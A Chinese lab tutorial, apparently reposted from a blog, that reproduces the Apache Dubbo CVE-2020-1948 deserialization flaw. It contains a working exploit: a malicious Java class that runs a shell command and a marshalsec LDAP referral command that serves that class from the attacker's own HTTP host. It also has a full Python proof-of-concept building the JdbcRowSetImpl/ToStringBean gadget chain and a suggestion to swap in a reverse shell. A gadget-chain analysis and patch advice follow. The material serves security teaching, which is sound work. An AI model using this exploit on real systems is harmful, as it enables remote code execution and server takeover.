【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

zoukankan html css js c++ java

【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一、实验简介
- 实验所属系列：系统安全
- 实验对象：本科/专科信息安全专业
- 相关课程及专业：计算机网络
- 实验时数（学分）：2 学时
- 实验类别：实践实验类
二、实验目的

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。本实验详细介绍了有关的系统知识和分析该漏洞原因并复现该漏洞。通过该实验了解该漏洞，并利用该实验了解、基本掌握漏洞环境搭建技巧，通过复现该漏洞，了解工具的一些知识。

三、预备知识

3.1 RPC

RPC（Remote Procedure Call）远程过程调用协议，一种通过网络从远程计算机上请求服务，而不需要了解底层网络技术的协议。RPC它假定某些协议的存在，例如TPC/UDP等，为通信程序之间携带信息数据。在OSI网络七层模型中，RPC跨越了传输层和应用层，RPC使得开发，包括网络分布式多程序在内的应用程序更加容易。

3.2 dubbo

dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如：Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
这里介绍的dubbo漏洞里的dubbo指的是RPC框架。dubbo同时是阿里尚未开发成熟的高效 java 序列化实现，阿里不建议在生产环境使用它。

3.3 Hessian

hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化，而是阿里修改过的 hessian lite，Hessian是二进制的web service协议，官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用，区别是Hessian是二进制协议，Axis、XFire则是SOAP协议，所以从性能上说Hessian远优于后两者，并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象，集合了序列化/反序列化和RMI功能。

Hessian 协议用于集成 Hessian 的服务，Hessian 底层采用 Http 通讯，采用 Servlet 暴露服务，Dubbo 缺省内嵌 Jetty 作为服务器实现。

Dubbo 的 Hessian 协议可以和原生 Hessian 服务互操作，即：
- 提供者用 Dubbo 的 Hessian 协议暴露服务，消费者直接用标准 Hessian 接口调用
- 或者提供方用标准 Hessian 暴露服务，消费方用 Dubbo 的 Hessian 协议调用
一个简单的Hessian序列化使用方法
```
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
class User implements Serializable {
public static void main(String[]args){
//        System.out.println("hehe");
        }
}
public class HessianTest {
    public static void main(String[] args) throws Exception {
        Object o=new User();
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(o);
        output.close();
        System.out.println(os.toString());
    }
}
```
3.4 协议关系

Dubbo和序列化到底是怎么个关系，可以从以下几点考虑：
1. Dubbo 从大的层面上将是RPC框架，负责封装RPC调用，支持很多RPC协议
2. RPC协议包括了dubbo、rmi、hession、webservice、http、redis、rest、thrift、memcached、jsonrpc等
3. Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化
3.5 漏洞原理

主要利用Dubbo协议调用其他RPC协议时会涉及到数据的序列化和反序列化操作。如果没有做检查校验很有可能成功反序列化攻击者精心构造的恶意类，利用java调用链使服务端去加载远程的Class文件，通过在Class文件的构造函数或者静态代码块中插入恶意语句从而达到远程代码执行的攻击效果。

四、实验环境
- docker
- python
- java
- marshalsec-jar
五、实验步骤

【CVE-2020-1948】为反序列化漏洞，这个漏洞导致远程攻击者可以通过构造恶意反序列化数据执行任意命令，进而获取服务器权限。我们的任务分为三部分：
- 实验环境启动
- 漏洞利用
- 拓展任务
5.1 实验环境启动

任务描述：本次实验通过使用docker搭建 dubbo漏洞环境，为后续复现漏洞做准备。
1. 通过命令docker pull dsolab/dubbo:cve-2020-1948 拉取docker环境。
2. 通过命令docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d启动镜像，如图说明启动成功。
5.2 漏洞利用

任务描述：本次实验通过各种工具配合来对实验环境进行攻击，达到执行命令的效果。
1. 准备exp文件，编写exp.java如下
```
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
 
public class exp {
    public exp(){
        try {
            java.lang.Runtime.getRuntime().exec("touch /tmp/success");
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }
}
```
1. 编译java文件javac exp.java
2. 使用python在该目录启动HttpServer
3. 下载marshalsec-jar
```
git clone https://github.com/RandomRobbieBF/marshalsec-jar.git
```
1. 使用marshalsec-jar启动LDAP代理服务
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.31.153/#exp 777
```
192.168.31.153为我本机IP
1. 使用poc编写python脚本
```
# -*- coding: utf-8 -*-
  
import sys
 
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 
if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('
Example:

- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()

 
client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )
 
 
resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean]) 
 
  
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')
```
保存为exp.py
1. 执行exp.py
```
python3 exp.py 192.168.31.153 12345 ldap://192.168.31.153:777/exp
```
可以看到通过LDAP代理重定向去访问了之前编译的exp.class文件。
1. 使用docker exec -it 264f1bb1fede "/bin/bash"进入容器，可以看到我们在/tmp目录下成功创建了success文件，说明漏洞利用成功。
拓展任务

上个任务执行的命令是在exp.py中定义的
```
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
 
public class exp {
    public exp(){
        try {
            java.lang.Runtime.getRuntime().exec("touch /tmp/success");\命令定义
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }
}
```
可以尝试修改命令执行，比如反弹shell或者用dnslog探查漏洞。

六、漏洞分析

利用链分析

在marshalsec工具中，提供了对于Hessian反序列化可利用的几条链：
https://github.com/mbechler/marshalsec
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true

对于dubbo反序列化可利用的条件：
1. 默认dubbo协议+hessian2序列化方式
2. 序列化tcp包可随意修改方法参数反序列化的class
3. 反序列化时先通过构造方法实例化，然后在反射设置字段值
4. 构造方法的选择，只选择花销最小并且只有基本类型传入的构造方法
如果要实现远程命令执行，需要找到符合以下条件的gadget chain：
1. 有参构造方法
2. 参数不包含非基本类型
3. cost最小的构造方法并且全部都是基本类型或String
这样的利用条件太苛刻了，不过万事没绝对，参考marshalsec，可以利用rome依赖使用HashMap触发key的hashCode方法的gadget chain来打，以下是对hessian2反序列化map的源码跟踪：
```
Override
@SuppressWarnings("unchecked")
public <T> T readObject(Class<T> cls) throws IOException,
        ClassNotFoundException {
    return (T) mH2i.readObject(cls);
}
```
```
@Override
public Object readObject(Class cl)
        throws IOException {
    return readObject(cl, null, null);
}
```
```
@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
    //...
    switch (tag) {
        //...
        case 'H': {
            Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);

            boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
            // fix deserialize of short type
            return reader.readMap(this
                    , keyValuePair ? expectedTypes[0] : null
                    , keyValuePair ? expectedTypes[1] : null);
        }
        //...    
    }
}
```
```
@Override
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {
    Map map;

    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

    in.addRef(map);
    
	doReadMap(in, map, expectKeyType, expectValueType);

    in.readEnd();

    return map;
}
```
```
protected void doReadMap(AbstractHessianInput in, Map map, Class<?> keyType, Class<?> valueType) throws IOException {
    Deserializer keyDeserializer = null, valueDeserializer = null;

    SerializerFactory factory = findSerializerFactory(in);
    if(keyType != null){
        keyDeserializer = factory.getDeserializer(keyType.getName());
    }
    if(valueType != null){
        valueDeserializer = factory.getDeserializer(valueType.getName());
    }

    while (!in.isEnd()) {
        map.put(keyDeserializer != null ? keyDeserializer.readObject(in) : in.readObject(),
                valueDeserializer != null? valueDeserializer.readObject(in) : in.readObject());
    }
}
```
从上面贴出来的部分执行栈信息，可以清晰的看到，最终在反序列化中实例化了新的HashMap，然后把反序列化出来的实例put进去，因此，会触发key的hashCode方法。

七、总结与修复

总结

如果系统开启了dubbo端口（如1.2.3.4:12345），攻击者使用python模拟dubbo通信协议发送rpc请求，数据包含带有无法识别的服务名称service_nam或方法名称method_name，及恶意参数（JdbcRowSetImpl等），在反序列化这些恶意参数时便会触发JNDI注入，导致执行任意恶意代码。

因此攻击难度较低，但攻击危害很大。

防御手段
1. 更新至2.7.7版本：
  https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7
2. 通用防御措施，增加反序列化前的service name的判断，但如果控制到中间注册中心还是会存在攻击风险；
3. hessian自身没有其他序列化包做gadgets层的防护，建议使用时进行拓展，可以参考SOFA的处理(https://github.com/sofastack/sofa-hessian ) 来增加对应的黑名单过滤器。
查看全文

相关阅读:
STL"源码"剖析
 Excel如何进行SVN
BootstrapTable+KnockoutJS
WebApi 集成 Swagger
Java Core和HeapDump
深入分析 Java 中的中文编码问题(1)
Java编码浅析（注意区分三个概念）（转）
理解并解决GBK转UTF-8奇数中文乱码（转）
Java实现敏感词过滤(转)
Android MediaPlayer状态机

原文地址：https://www.cnblogs.com/twosmi1e/p/14765893.html

【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

一、实验简介

二、实验目的

三、预备知识

3.1 RPC

3.2 dubbo

3.3 Hessian

3.4 协议关系

3.5 漏洞原理

四、实验环境

五、实验步骤

5.1 实验环境启动

5.2 漏洞利用

拓展任务

六、漏洞分析

利用链分析

七、总结与修复

总结

防御手段